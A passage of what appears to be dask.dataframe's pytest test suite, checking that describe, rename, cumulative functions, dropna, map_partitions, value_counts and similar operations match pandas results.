assert_eq(ddf["divisions"], df.divisions) assert all(ddf._meta.columns == ["_meta", "divisions"]) assert_eq(ddf["_meta"], df._meta) def test_index_names(): assert d.index.name is None idx = pd.Index([0, 1, 2, 3, 4, 5, 6, 7, 8, 9], name="x") df = pd.DataFrame(np.random.randn(10, 5), idx) ddf = dd.from_pandas(df, 3) assert ddf.index.name == "x" assert ddf.index.compute().name == "x" @pytest.mark.skipif(dd._compat.PANDAS_GT_130, reason="Freq no longer included in ts") @pytest.mark.parametrize( "npartitions", [ 1, pytest.param( 2, marks=pytest.mark.xfail( not dd._compat.PANDAS_GT_110, reason="Fixed upstream." ), ), ], ) def test_timezone_freq(npartitions): s_naive = pd.Series(pd.date_range("20130101", periods=10)) s_aware = pd.Series(pd.date_range("20130101", periods=10, tz="US/Eastern")) pdf = pd.DataFrame({"tz": s_aware, "notz": s_naive}) ddf = dd.from_pandas(pdf, npartitions=npartitions) assert pdf.tz[0].freq == ddf.compute().tz[0].freq == ddf.tz.compute()[0].freq def test_rename_columns(): # GH 819 df = pd.DataFrame({"a": [1, 2, 3, 4, 5, 6, 7], "b": [7, 6, 5, 4, 3, 2, 1]}) ddf = dd.from_pandas(df, 2) ddf.columns = ["x", "y"] df.columns = ["x", "y"] tm.assert_index_equal(ddf.columns, pd.Index(["x", "y"])) tm.assert_index_equal(ddf._meta.columns, pd.Index(["x", "y"])) assert_eq(ddf, df) msg = r"Length mismatch: Expected axis has 2 elements, new values have 4 elements" with pytest.raises(ValueError) as err: ddf.columns = [1, 2, 3, 4] assert msg in str(err.value) # Multi-index columns df = pd.DataFrame({("A", "0"): [1, 2, 2, 3], ("B", 1): [1, 2, 3, 4]}) ddf = dd.from_pandas(df, npartitions=2) df.columns = ["x", "y"] ddf.columns = ["x", "y"] tm.assert_index_equal(ddf.columns, pd.Index(["x", "y"])) tm.assert_index_equal(ddf._meta.columns, pd.Index(["x", "y"])) assert_eq(ddf, df) def test_rename_series(): # GH 819 s = pd.Series([1, 2, 3, 4, 5, 6, 7], name="x") ds = dd.from_pandas(s, 2) s.name = "renamed" ds.name = "renamed" assert s.name == "renamed" assert_eq(ds, s) ind = s.index dind = ds.index ind.name = "renamed" dind.name = "renamed" assert ind.name == "renamed" assert_eq(dind, ind) def test_rename_series_method(): # Series name s = pd.Series([1, 2, 3, 4, 5, 6, 7], name="x") ds = dd.from_pandas(s, 2) assert_eq(ds.rename("y"), s.rename("y")) assert ds.name == "x" # no mutation assert_eq(ds.rename(), s.rename()) assert_eq(ds, s) def test_rename_series_method_2(): # Series index s = pd.Series(["a", "b", "c", "d", "e", "f", "g"], name="x") ds = dd.from_pandas(s, 2) for is_sorted in [True, False]: res = ds.rename(lambda x: x**2, sorted_index=is_sorted) assert_eq(res, s.rename(lambda x: x**2)) assert res.known_divisions == is_sorted res = ds.rename(s, sorted_index=is_sorted) assert_eq(res, s.rename(s)) assert res.known_divisions == is_sorted with pytest.raises(ValueError): ds.rename(lambda x: -x, sorted_index=True) assert_eq(ds.rename(lambda x: -x), s.rename(lambda x: -x)) res = ds.rename(ds) assert_eq(res, s.rename(s)) assert not res.known_divisions ds2 = ds.clear_divisions() res = ds2.rename(lambda x: x**2, sorted_index=True) assert_eq(res, s.rename(lambda x: x**2)) assert not res.known_divisions res = ds.rename(lambda x: x**2, inplace=True, sorted_index=True) assert res is ds s.rename(lambda x: x**2, inplace=True) assert_eq(ds, s) @pytest.mark.parametrize( "method,test_values", [("tdigest", (6, 10)), ("dask", (4, 20))] ) def test_describe_numeric(method, test_values): if method == "tdigest": pytest.importorskip("crick") # prepare test case which approx quantiles will be the same as actuals s = pd.Series(list(range(test_values[1])) * test_values[0]) df = pd.DataFrame( { "a": list(range(test_values[1])) * test_values[0], "b": list(range(test_values[0])) * test_values[1], } ) ds = dd.from_pandas(s, test_values[0]) ddf = dd.from_pandas(df, test_values[0]) test_quantiles = [0.25, 0.75] assert_eq(df.describe(), ddf.describe(percentiles_method=method)) assert_eq(s.describe(), ds.describe(percentiles_method=method)) assert_eq( df.describe(percentiles=test_quantiles), ddf.describe(percentiles=test_quantiles, percentiles_method=method), ) assert_eq(s.describe(), ds.describe(split_every=2, percentiles_method=method)) assert_eq(df.describe(), ddf.describe(split_every=2, percentiles_method=method)) # remove string columns df = pd.DataFrame( { "a": list(range(test_values[1])) * test_values[0], "b": list(range(test_values[0])) * test_values[1], "c": list("abcdef"[: test_values[0]]) * test_values[1], } ) ddf = dd.from_pandas(df, test_values[0]) assert_eq(df.describe(), ddf.describe(percentiles_method=method)) assert_eq(df.describe(), ddf.describe(split_every=2, percentiles_method=method)) @pytest.mark.parametrize( "include,exclude,percentiles,subset", [ (None, None, None, ["c", "d"]), # numeric (None, None, None, ["c", "d", "f"]), # numeric + timedelta (None, None, None, ["c", "d", "g"]), # numeric + bool (None, None, None, ["c", "d", "f", "g"]), # numeric + bool + timedelta (None, None, None, ["f", "g"]), # bool + timedelta ("all", None, None, None), (["number"], None, [0.25, 0.5], None), ([np.timedelta64], None, None, None), (["number", "object"], None, [0.25, 0.75], None), (None, ["number", "object"], None, None), (["object", "datetime", "bool"], None, None, None), ], ) def test_describe(include, exclude, percentiles, subset): data = { "a": ["aaa", "bbb", "bbb", None, None, "zzz"] * 2, "c": [None, 0, 1, 2, 3, 4] * 2, "d": [None, 0, 1] * 4, "e": [ pd.Timestamp("2017-05-09 00:00:00.006000"), pd.Timestamp("2017-05-09 00:00:00.006000"), pd.Timestamp("2017-05-09 07:56:23.858694"), pd.Timestamp("2017-05-09 05:59:58.938999"), None, None, ] * 2, "f": [ np.timedelta64(3, "D"), np.timedelta64(1, "D"), None, None, np.timedelta64(3, "D"), np.timedelta64(1, "D"), ] * 2, "g": [True, False, True] * 4, } # Arrange df = pd.DataFrame(data) if subset is not None: df = df.loc[:, subset] ddf = dd.from_pandas(df, 2) if PANDAS_GT_110: datetime_is_numeric_kwarg = {"datetime_is_numeric": True} else: datetime_is_numeric_kwarg = {} # Act actual = ddf.describe( include=include, exclude=exclude, percentiles=percentiles, **datetime_is_numeric_kwarg, ) expected = df.describe( include=include, exclude=exclude, percentiles=percentiles, **datetime_is_numeric_kwarg, ) if "e" in expected and datetime_is_numeric_kwarg: expected.at["mean", "e"] = np.nan expected.dropna(how="all", inplace=True) assert_eq(actual, expected) # Check series if subset is None: for col in ["a", "c", "e", "g"]: expected = df[col].describe( include=include, exclude=exclude, **datetime_is_numeric_kwarg ) if col == "e" and datetime_is_numeric_kwarg: expected.drop("mean", inplace=True) actual = ddf[col].describe( include=include, exclude=exclude, **datetime_is_numeric_kwarg ) assert_eq(expected, actual) def test_describe_without_datetime_is_numeric(): data = { "a": ["aaa", "bbb", "bbb", None, None, "zzz"] * 2, "c": [None, 0, 1, 2, 3, 4] * 2, "d": [None, 0, 1] * 4, "e": [ pd.Timestamp("2017-05-09 00:00:00.006000"), pd.Timestamp("2017-05-09 00:00:00.006000"), pd.Timestamp("2017-05-09 07:56:23.858694"), pd.Timestamp("2017-05-09 05:59:58.938999"), None, None, ] * 2, } # Arrange df = pd.DataFrame(data) ddf = dd.from_pandas(df, 2) # Assert assert_eq(ddf.describe(), df.describe()) # Check series for col in ["a", "c"]: assert_eq(df[col].describe(), ddf[col].describe()) if PANDAS_GT_110: with pytest.warns( FutureWarning, match=( "Treating datetime data as categorical rather than numeric in `.describe` is deprecated" ), ): ddf.e.describe() else: assert_eq(df.e.describe(), ddf.e.describe()) with pytest.raises( NotImplementedError, match="datetime_is_numeric=True is only supported for pandas >= 1.1.0", ): ddf.e.describe(datetime_is_numeric=True) def test_describe_empty(): df_none = pd.DataFrame({"A": [None, None]}) ddf_none = dd.from_pandas(df_none, 2) df_len0 = pd.DataFrame({"A": [], "B": []}) ddf_len0 = dd.from_pandas(df_len0, 2) ddf_nocols = dd.from_pandas(pd.DataFrame({}), 2) # Pandas have different dtypes for resulting describe dataframe if there are only # None-values, pre-compute dask df to bypass _meta check assert_eq( df_none.describe(), ddf_none.describe(percentiles_method="dask").compute() ) with pytest.raises((ValueError, RuntimeWarning)): ddf_len0.describe(percentiles_method="dask").compute() with pytest.raises(ValueError): ddf_nocols.describe(percentiles_method="dask").compute() def test_describe_empty_tdigest(): pytest.importorskip("crick") df_none = pd.DataFrame({"A": [None, None]}) ddf_none = dd.from_pandas(df_none, 2) df_len0 = pd.DataFrame({"A": []}) ddf_len0 = dd.from_pandas(df_len0, 2) ddf_nocols = dd.from_pandas(pd.DataFrame({}), 2) # Pandas have different dtypes for resulting describe dataframe if there are only # None-values, pre-compute dask df to bypass _meta check assert_eq( df_none.describe(), ddf_none.describe(percentiles_method="tdigest").compute() ) with warnings.catch_warnings(): # dask.dataframe should probably filter this, to match pandas, but # it seems quite difficult. warnings.simplefilter("ignore", RuntimeWarning) assert_eq(df_len0.describe(), ddf_len0.describe(percentiles_method="tdigest")) assert_eq(df_len0.describe(), ddf_len0.describe(percentiles_method="tdigest")) with pytest.raises(ValueError): ddf_nocols.describe(percentiles_method="tdigest").compute() def test_describe_for_possibly_unsorted_q(): """make sure describe is sorting percentiles parameter, q, properly and can handle lists, tuples and ndarrays. See https://github.com/dask/dask/issues/4642. """ # prepare test case where quantiles should equal values A = da.arange(0, 101) ds = dd.from_dask_array(A) for q in [None, [0.25, 0.50, 0.75], [0.25, 0.50, 0.75, 0.99], [0.75, 0.5, 0.25]]: for f_convert in [list, tuple, np.array]: if q is None: r = ds.describe(percentiles=q).compute() else: r = ds.describe(percentiles=f_convert(q)).compute() assert_eq(r["25%"], 25.0) assert_eq(r["50%"], 50.0) assert_eq(r["75%"], 75.0) def test_cumulative(): index = [f"row{i:03d}" for i in range(100)] df = pd.DataFrame(np.random.randn(100, 5), columns=list("abcde"), index=index) df_out = pd.DataFrame(np.random.randn(100, 5), columns=list("abcde"), index=index) ddf = dd.from_pandas(df, 5) ddf_out = dd.from_pandas(df_out, 5) assert_eq(ddf.cumsum(), df.cumsum()) assert_eq(ddf.cumprod(), df.cumprod()) assert_eq(ddf.cummin(), df.cummin()) assert_eq(ddf.cummax(), df.cummax()) assert_eq(ddf.cumsum(axis=1), df.cumsum(axis=1)) assert_eq(ddf.cumprod(axis=1), df.cumprod(axis=1)) assert_eq(ddf.cummin(axis=1), df.cummin(axis=1)) assert_eq(ddf.cummax(axis=1), df.cummax(axis=1)) np.cumsum(ddf, out=ddf_out) assert_eq(ddf_out, df.cumsum()) np.cumprod(ddf, out=ddf_out) assert_eq(ddf_out, df.cumprod()) ddf.cummin(out=ddf_out) assert_eq(ddf_out, df.cummin()) ddf.cummax(out=ddf_out) assert_eq(ddf_out, df.cummax()) np.cumsum(ddf, out=ddf_out, axis=1) assert_eq(ddf_out, df.cumsum(axis=1)) np.cumprod(ddf, out=ddf_out, axis=1) assert_eq(ddf_out, df.cumprod(axis=1)) ddf.cummin(out=ddf_out, axis=1) assert_eq(ddf_out, df.cummin(axis=1)) ddf.cummax(out=ddf_out, axis=1) assert_eq(ddf_out, df.cummax(axis=1)) assert_eq(ddf.a.cumsum(), df.a.cumsum()) assert_eq(ddf.a.cumprod(), df.a.cumprod()) assert_eq(ddf.a.cummin(), df.a.cummin()) assert_eq(ddf.a.cummax(), df.a.cummax()) # With NaNs df = pd.DataFrame( { "a": [1, 2, np.nan, 4, 5, 6, 7, 8], "b": [1, 2, np.nan, np.nan, np.nan, 5, np.nan, np.nan], "c": [np.nan] * 8, } ) ddf = dd.from_pandas(df, 3) assert_eq(df.cumsum(), ddf.cumsum()) assert_eq(df.cummin(), ddf.cummin()) assert_eq(df.cummax(), ddf.cummax()) assert_eq(df.cumprod(), ddf.cumprod()) assert_eq(df.cumsum(skipna=False), ddf.cumsum(skipna=False)) assert_eq(df.cummin(skipna=False), ddf.cummin(skipna=False)) assert_eq(df.cummax(skipna=False), ddf.cummax(skipna=False)) assert_eq(df.cumprod(skipna=False), ddf.cumprod(skipna=False)) assert_eq(df.cumsum(axis=1), ddf.cumsum(axis=1)) assert_eq(df.cummin(axis=1), ddf.cummin(axis=1)) assert_eq(df.cummax(axis=1), ddf.cummax(axis=1)) assert_eq(df.cumprod(axis=1), ddf.cumprod(axis=1)) assert_eq(df.cumsum(axis=1, skipna=False), ddf.cumsum(axis=1, skipna=False)) assert_eq(df.cummin(axis=1, skipna=False), ddf.cummin(axis=1, skipna=False)) assert_eq(df.cummax(axis=1, skipna=False), ddf.cummax(axis=1, skipna=False)) assert_eq(df.cumprod(axis=1, skipna=False), ddf.cumprod(axis=1, skipna=False)) @pytest.mark.parametrize( "func", [ M.cumsum, M.cumprod, pytest.param( M.cummin, marks=[ pytest.mark.xfail( reason="ValueError: Can only compare identically-labeled Series objects" ) ], ), pytest.param( M.cummax, marks=[ pytest.mark.xfail( reason="ValueError: Can only compare identically-labeled Series objects" ) ], ), ], ) def test_cumulative_empty_partitions(func): df = pd.DataFrame({"x": [1, 2, 3, 4, 5, 6, 7, 8]}) ddf = dd.from_pandas(df, npartitions=4) assert_eq(func(df[df.x < 5]), func(ddf[ddf.x < 5])) df = pd.DataFrame({"x": [1, 2, 3, 4, None, 5, 6, None, 7, 8]}) ddf = dd.from_pandas(df, npartitions=5) assert_eq(func(df[df.x < 5]), func(ddf[ddf.x < 5])) def test_dropna(): df = pd.DataFrame( { "x": [np.nan, 2, 3, 4, np.nan, 6], "y": [1, 2, np.nan, 4, np.nan, np.nan], "z": [1, 2, 3, 4, np.nan, 6], }, index=[10, 20, 30, 40, 50, 60], ) ddf = dd.from_pandas(df, 3) assert_eq(ddf.x.dropna(), df.x.dropna()) assert_eq(ddf.y.dropna(), df.y.dropna()) assert_eq(ddf.z.dropna(), df.z.dropna()) assert_eq(ddf.dropna(), df.dropna()) assert_eq(ddf.dropna(how="all"), df.dropna(how="all")) assert_eq(ddf.dropna(subset=["x"]), df.dropna(subset=["x"])) assert_eq(ddf.dropna(subset=["y", "z"]), df.dropna(subset=["y", "z"])) assert_eq( ddf.dropna(subset=["y", "z"], how="all"), df.dropna(subset=["y", "z"], how="all"), ) # threshold assert_eq(df.dropna(thresh=None), df.loc[[20, 40]]) assert_eq(ddf.dropna(thresh=None), df.dropna(thresh=None)) assert_eq(df.dropna(thresh=0), df.loc[:]) assert_eq(ddf.dropna(thresh=0), df.dropna(thresh=0)) assert_eq(df.dropna(thresh=1), df.loc[[10, 20, 30, 40, 60]]) assert_eq(ddf.dropna(thresh=1), df.dropna(thresh=1)) assert_eq(df.dropna(thresh=2), df.loc[[10, 20, 30, 40, 60]]) assert_eq(ddf.dropna(thresh=2), df.dropna(thresh=2)) assert_eq(df.dropna(thresh=3), df.loc[[20, 40]]) assert_eq(ddf.dropna(thresh=3), df.dropna(thresh=3)) # Regression test for https://github.com/dask/dask/issues/6540 df = pd.DataFrame({"_0": [0, 0, np.nan], "_1": [1, 2, 3]}) ddf = dd.from_pandas(df, npartitions=2) assert_eq(ddf.dropna(subset=["_0"]), df.dropna(subset=["_0"])) @pytest.mark.parametrize("lower, upper", [(2, 5), (2.5, 3.5)]) def test_clip(lower, upper): df = pd.DataFrame( {"a": [1, 2, 3, 4, 5, 6, 7, 8, 9], "b": [3, 5, 2, 5, 7, 2, 4, 2, 4]} ) ddf = dd.from_pandas(df, 3) s = pd.Series([1, 2, 3, 4, 5, 6, 7, 8, 9]) ds = dd.from_pandas(s, 3) assert_eq(ddf.clip(lower=lower, upper=upper), df.clip(lower=lower, upper=upper)) assert_eq(ddf.clip(lower=lower), df.clip(lower=lower)) assert_eq(ddf.clip(upper=upper), df.clip(upper=upper)) assert_eq(ds.clip(lower=lower, upper=upper), s.clip(lower=lower, upper=upper)) assert_eq(ds.clip(lower=lower), s.clip(lower=lower)) assert_eq(ds.clip(upper=upper), s.clip(upper=upper)) def test_squeeze(): df = pd.DataFrame({"x": [1, 3, 6]}) df2 = pd.DataFrame({"x": [0]}) s = pd.Series({"test": 0, "b": 100}) ddf = dd.from_pandas(df, 3) ddf2 = dd.from_pandas(df2, 3) ds = dd.from_pandas(s, 2) assert_eq(df.squeeze(), ddf.squeeze()) assert_eq(pd.Series([0], name="x"), ddf2.squeeze()) assert_eq(ds.squeeze(), s.squeeze()) with pytest.raises(NotImplementedError) as info: ddf.squeeze(axis=0) msg = f"{type(ddf)} does not support squeeze along axis 0" assert msg in str(info.value) with pytest.raises(ValueError) as info: ddf.squeeze(axis=2) msg = f"No axis {2} for object type {type(ddf)}" assert msg in str(info.value) with pytest.raises(ValueError) as info: ddf.squeeze(axis="test") msg = f"No axis test for object type {type(ddf)}" assert msg in str(info.value) def test_where_mask(): pdf1 = pd.DataFrame( {"a": [1, 2, 3, 4, 5, 6, 7, 8, 9], "b": [3, 5, 2, 5, 7, 2, 4, 2, 4]} ) ddf1 = dd.from_pandas(pdf1, 2) pdf2 = pd.DataFrame({"a": [True, False, True] * 3, "b": [False, False, True] * 3}) ddf2 = dd.from_pandas(pdf2, 2) # different index pdf3 = pd.DataFrame( {"a": [1, 2, 3, 4, 5, 6, 7, 8, 9], "b": [3, 5, 2, 5, 7, 2, 4, 2, 4]}, index=[0, 1, 2, 3, 4, 5, 6, 7, 8], ) ddf3 = dd.from_pandas(pdf3, 2) pdf4 = pd.DataFrame( {"a": [True, False, True] * 3, "b": [False, False, True] * 3}, index=[5, 6, 7, 8, 9, 10, 11, 12, 13], ) ddf4 = dd.from_pandas(pdf4, 2) # different columns pdf5 = pd.DataFrame( { "a": [1, 2, 3, 4, 5, 6, 7, 8, 9], "b": [9, 4, 2, 6, 2, 3, 1, 6, 2], "c": [5, 6, 7, 8, 9, 10, 11, 12, 13], }, index=[0, 1, 2, 3, 4, 5, 6, 7, 8], ) ddf5 = dd.from_pandas(pdf5, 2) pdf6 = pd.DataFrame( { "a": [True, False, True] * 3, "b": [False, False, True] * 3, "c": [False] * 9, "d": [True] * 9, }, index=[5, 6, 7, 8, 9, 10, 11, 12, 13], ) ddf6 = dd.from_pandas(pdf6, 2) cases = [ (ddf1, ddf2, pdf1, pdf2), (ddf1.repartition([0, 3, 6, 8]), ddf2, pdf1, pdf2), (ddf1, ddf4, pdf3, pdf4), (ddf3.repartition([0, 4, 6, 8]), ddf4.repartition([5, 9, 10, 13]), pdf3, pdf4), (ddf5, ddf6, pdf5, pdf6), (ddf5.repartition([0, 4, 7, 8]), ddf6, pdf5, pdf6), # use pd.DataFrame as cond (ddf1, pdf2, pdf1, pdf2), (ddf1, pdf4, pdf3, pdf4), (ddf5, pdf6, pdf5, pdf6), ] for ddf, ddcond, pdf, pdcond in cases: assert isinstance(ddf, dd.DataFrame) assert isinstance(ddcond, (dd.DataFrame, pd.DataFrame)) assert isinstance(pdf, pd.DataFrame) assert isinstance(pdcond, pd.DataFrame) assert_eq(ddf.where(ddcond), pdf.where(pdcond)) assert_eq(ddf.mask(ddcond), pdf.mask(pdcond)) assert_eq(ddf.where(ddcond, -ddf), pdf.where(pdcond, -pdf)) assert_eq(ddf.mask(ddcond, -ddf), pdf.mask(pdcond, -pdf)) assert_eq(ddf.where(ddcond.a, -ddf), pdf.where(pdcond.a, -pdf)) assert_eq(ddf.mask(ddcond.a, -ddf), pdf.mask(pdcond.a, -pdf)) assert_eq(ddf.a.where(ddcond.a), pdf.a.where(pdcond.a)) assert_eq(ddf.a.mask(ddcond.a), pdf.a.mask(pdcond.a)) assert_eq(ddf.a.where(ddcond.a, -ddf.a), pdf.a.where(pdcond.a, -pdf.a)) assert_eq(ddf.a.mask(ddcond.a, -ddf.a), pdf.a.mask(pdcond.a, -pdf.a)) def test_map_partitions_multi_argument(): assert_eq(dd.map_partitions(lambda a, b: a + b, d.a, d.b), full.a + full.b) assert_eq( dd.map_partitions(lambda a, b, c: a + b + c, d.a, d.b, 1), full.a + full.b + 1 ) def test_map_partitions(): assert_eq(d.map_partitions(lambda df: df, meta=d), full) assert_eq(d.map_partitions(lambda df: df), full) result = d.map_partitions(lambda df: df.sum(axis=1)) layer = hlg_layer(result.dask, "lambda-") assert not layer.is_materialized(), layer assert_eq(result, full.sum(axis=1)) assert_eq( d.map_partitions(lambda df: 1), pd.Series([1, 1, 1], dtype=np.int64), check_divisions=False, ) x = Scalar({("x", 0): 1}, "x", int) result = dd.map_partitions(lambda x: 2, x) assert result.dtype in (np.int32, np.int64) and result.compute() == 2 result = dd.map_partitions(lambda x: 4.0, x) assert result.dtype == np.float64 and result.compute() == 4.0 def test_map_partitions_type(): result = d.map_partitions(type).compute(scheduler="single-threaded") assert isinstance(result, pd.Series) assert all(x == pd.DataFrame for x in result) def test_map_partitions_partition_info(): def f(df, partition_info=None): assert partition_info is not None assert "number" in partition_info assert "division" in partition_info assert dsk[("x", partition_info["number"])].equals(df) assert dsk[("x", d.divisions.index(partition_info["division"]))].equals(df) return df df = d.map_partitions(f, meta=d) layer = hlg_layer(df.dask, "f-") assert not layer.is_materialized() df.dask.validate() result = df.compute(scheduler="single-threaded") assert type(result) == pd.DataFrame def test_map_partitions_names(): func = lambda x: x assert sorted(dd.map_partitions(func, d, meta=d).dask) == sorted( dd.map_partitions(func, d, meta=d).dask ) assert sorted(dd.map_partitions(lambda x: x, d, meta=d, token=1).dask) == sorted( dd.map_partitions(lambda x: x, d, meta=d, token=1).dask ) func = lambda x, y: x assert sorted(dd.map_partitions(func, d, d, meta=d).dask) == sorted( dd.map_partitions(func, d, d, meta=d).dask ) def test_map_partitions_column_info(): df = pd.DataFrame({"x": [1, 2, 3, 4], "y": [5, 6, 7, 8]}) a = dd.from_pandas(df, npartitions=2) b = dd.map_partitions(lambda x: x, a, meta=a) tm.assert_index_equal(b.columns, a.columns) assert_eq(df, b) b = dd.map_partitions(lambda x: x, a.x, meta=a.x) assert b.name == a.x.name assert_eq(df.x, b) b = dd.map_partitions(lambda x: x, a.x, meta=a.x) assert b.name == a.x.name assert_eq(df.x, b) b = dd.map_partitions(lambda df: df.x + df.y, a) assert isinstance(b, dd.Series) assert b.dtype == "i8" b = dd.map_partitions(lambda df: df.x + 1, a, meta=("x", "i8")) assert isinstance(b, dd.Series) assert b.name == "x" assert b.dtype == "i8" def test_map_partitions_method_names(): df = pd.DataFrame({"x": [1, 2, 3, 4], "y": [5, 6, 7, 8]}) a = dd.from_pandas(df, npartitions=2) b = a.map_partitions(lambda x: x) assert isinstance(b, dd.DataFrame) tm.assert_index_equal(b.columns, a.columns) b = a.map_partitions(lambda df: df.x + 1) assert isinstance(b, dd.Series) assert b.dtype == "i8" b = a.map_partitions(lambda df: df.x + 1, meta=("x", "i8")) assert isinstance(b, dd.Series) assert b.name == "x" assert b.dtype == "i8" def test_map_partitions_propagates_index_metadata(): index = pd.Series(list("abcde"), name="myindex") df = pd.DataFrame( {"A": np.arange(5, dtype=np.int32), "B": np.arange(10, 15, dtype=np.int32)}, index=index, ) ddf = dd.from_pandas(df, npartitions=2) res = ddf.map_partitions( lambda df: df.assign(C=df.A + df.B), meta=[("A", "i4"), ("B", "i4"), ("C", "i4")], ) sol = df.assign(C=df.A + df.B) assert_eq(res, sol) res = ddf.map_partitions(lambda df: df.rename_axis("newindex")) sol = df.rename_axis("newindex") assert_eq(res, sol) @pytest.mark.xfail(reason="now we use SubgraphCallables") def test_map_partitions_keeps_kwargs_readable(): df = pd.DataFrame({"x": [1, 2, 3, 4], "y": [5, 6, 7, 8]}) a = dd.from_pandas(df, npartitions=2) def f(s, x=1): return s + x b = a.x.map_partitions(f, x=5) # NOTE: we'd like to ensure that we keep the keyword arguments readable # in the dask graph assert "['x', 5]" in str(dict(b.dask)) or "{'x': 5}" in str(dict(b.dask)) assert_eq(df.x + 5, b) assert a.x.map_partitions(f, x=5)._name != a.x.map_partitions(f, x=6)._name def test_map_partitions_with_delayed_collection(): # https://github.com/dask/dask/issues/5854 df = pd.DataFrame(columns=list("abcdefghijk")) ddf = dd.from_pandas(df, 2) ddf.dropna(subset=list("abcdefghijk")).compute() # no error! def test_metadata_inference_single_partition_aligned_args(): # https://github.com/dask/dask/issues/3034 # Previously broadcastable series functionality broke this df = pd.DataFrame({"x": [1, 2, 3, 4, 5]}) ddf = dd.from_pandas(df, npartitions=1) def check(df, df_x): assert len(df) == len(df_x) assert len(df) > 0 return df res = dd.map_partitions(check, ddf, ddf.x) assert_eq(res, ddf) def test_align_dataframes(): df1 = pd.DataFrame({"A": [1, 2, 3, 3, 2, 3], "B": [1, 2, 3, 4, 5, 6]}) df2 = pd.DataFrame({"A": [3, 1, 2], "C": [1, 2, 3]}) def merge(a, b): res = pd.merge(a, b, left_on="A", right_on="A", how="left") return res expected = merge(df1, df2) ddf1 = dd.from_pandas(df1, npartitions=2) actual = ddf1.map_partitions(merge, df2, align_dataframes=False) assert_eq(actual, expected, check_index=False, check_divisions=False) def test_drop_duplicates(): res = d.drop_duplicates() res2 = d.drop_duplicates(split_every=2) sol = full.drop_duplicates() assert_eq(res, sol) assert_eq(res2, sol) assert res._name != res2._name res = d.a.drop_duplicates() res2 = d.a.drop_duplicates(split_every=2) sol = full.a.drop_duplicates() assert_eq(res, sol) assert_eq(res2, sol) assert res._name != res2._name res = d.index.drop_duplicates() res2 = d.index.drop_duplicates(split_every=2) sol = full.index.drop_duplicates() assert_eq(res, sol) assert_eq(res2, sol) assert res._name != res2._name with pytest.raises(NotImplementedError): d.drop_duplicates(keep=False) def test_drop_duplicates_subset(): df = pd.DataFrame({"x": [1, 2, 3, 1, 2, 3], "y": ["a", "a", "b", "b", "c", "c"]}) ddf = dd.from_pandas(df, npartitions=2) for kwarg in [{"keep": "first"}, {"keep": "last"}]: assert_eq(df.x.drop_duplicates(**kwarg), ddf.x.drop_duplicates(**kwarg)) for ss in [["x"], "y", ["x", "y"]]: assert_eq( df.drop_duplicates(subset=ss, **kwarg), ddf.drop_duplicates(subset=ss, **kwarg), ) assert_eq(df.drop_duplicates(ss, **kwarg), ddf.drop_duplicates(ss, **kwarg)) def test_get_partition(): pdf = pd.DataFrame(np.random.randn(10, 5), columns=list("abcde")) ddf = dd.from_pandas(pdf, 3) assert ddf.divisions == (0, 4, 8, 9) # DataFrame div1 = ddf.get_partition(0) assert isinstance(div1, dd.DataFrame) assert_eq(div1, pdf.loc[0:3]) div2 = ddf.get_partition(1) assert_eq(div2, pdf.loc[4:7]) div3 = ddf.get_partition(2) assert_eq(div3, pdf.loc[8:9]) assert len(div1) + len(div2) + len(div3) == len(pdf) # Series div1 = ddf.a.get_partition(0) assert isinstance(div1, dd.Series) assert_eq(div1, pdf.a.loc[0:3]) div2 = ddf.a.get_partition(1) assert_eq(div2, pdf.a.loc[4:7]) div3 = ddf.a.get_partition(2) assert_eq(div3, pdf.a.loc[8:9]) assert len(div1) + len(div2) + len(div3) == len(pdf.a) with pytest.raises(ValueError): ddf.get_partition(-1) with pytest.raises(ValueError): ddf.get_partition(3) def test_ndim(): assert d.ndim == 2 assert d.a.ndim == 1 assert d.index.ndim == 1 def test_dtype(): assert (d.dtypes == full.dtypes).all() def test_value_counts(): df = pd.DataFrame({"x": [1, 2, 1, 3, 3, 1, 4]}) ddf = dd.from_pandas(df, npartitions=3) result = ddf.x.value_counts() expected = df.x.value_counts() assert_eq(result, expected) result2 = ddf.x.value_counts(split_every=2) assert_eq(result2, expected) assert result._name != result2._name def test_value_counts_not_sorted(): df = pd.DataFrame({"x": [1, 2, 1, 3, 3, 1, 4]}) ddf = dd.from_pandas(df, npartitions=3) result = ddf.x.value_counts(sort=False) expected = df.x.value_counts(sort=False) assert_eq(result, expected) result2 = ddf.x.value_counts(split_every=2) assert_eq(result2, expected) assert result._name != result2._name def test_value_counts_with_dropna(): df = pd.DataFrame({"x": [1, 2, 1, 3, np.nan, 1, 4]}) ddf = dd.from_pandas(df, npartitions=3) if not PANDAS_GT_110: with pytest.raises(NotImplementedError, match="dropna is not a valid argument"): ddf.x.value_counts(dropna=False) return result = ddf.x.value_counts(dropna=False) expected = df.x.value_counts(dropna=False) assert_eq(result, expected) result2 = ddf.x.value_counts(split_every=2, dropna=False) assert_eq(result2, expected) assert result._name != result2._name def test_value_counts_with_normalize(): df = pd.DataFrame({"x": [1, 2, 1, 3, 3, 1, 4]}) ddf = dd.from_pandas(df, npartitions=3) result = ddf.x.value_counts(normalize=True) expected = df.x.value_counts(normalize=True) assert_eq(result, expected) result2 = ddf.x.value_counts(split_every=2, normalize=True) assert_eq(result2, expected) assert result._name != result2._name result3 = ddf.x.value_counts(split_out=2, normalize=True) assert_eq(result3, expected) assert result._name != result3._name @pytest.mark.skipif(not PANDAS_GT_110, reason="dropna implemented in pandas 1.1.0") def test_value_counts_with_normalize_and_dropna(): df = pd.DataFrame({"x": [1, 2, 1, 3, np.nan, 1, 4]}) ddf = dd.from_pandas(df, npartitions=3) result = ddf.x.value_counts(dropna=False, normalize=True) expected = df.x.value_counts(dropna=False, normalize=True) assert_eq(result, expected) result2 = ddf.x.value_counts(split_every=2, dropna=False, normalize=True) assert_eq(result2, expected) assert result._name != result2._name result3 = ddf.x.value_counts(split_out=2, dropna=False, normalize=True) assert_eq(result3, expected) assert result._name != result3._name result4 = ddf.x.value_counts(dropna=True, normalize=True, split_out=2) expected4 = df.x.value_counts(dropna=True, normalize=True) assert_eq(result4, expected4) def test_unique(): pdf = pd.DataFrame( { "x": [1, 2, 1, 3, 3, 1, 4, 2, 3, 1], "y": ["a", "c", "b", np.nan, "c", "b", "a", "d", np.nan, "a"], } ) ddf = dd.from_pandas(pdf, npartitions=3) assert_eq(ddf.x.unique(), pd.Series(pdf.x.unique(), name="x")) assert_eq(ddf.y.unique(), pd.Series(pdf.y.unique(), name="y")) assert_eq(ddf.x.unique(split_every=2), pd.Series(pdf.x.unique(), name="x")) assert_eq(ddf.y.unique(split_every=2), pd.Series(pdf.y.unique(), name="y")) assert_eq(ddf.index.unique(), pdf.index.unique()) assert 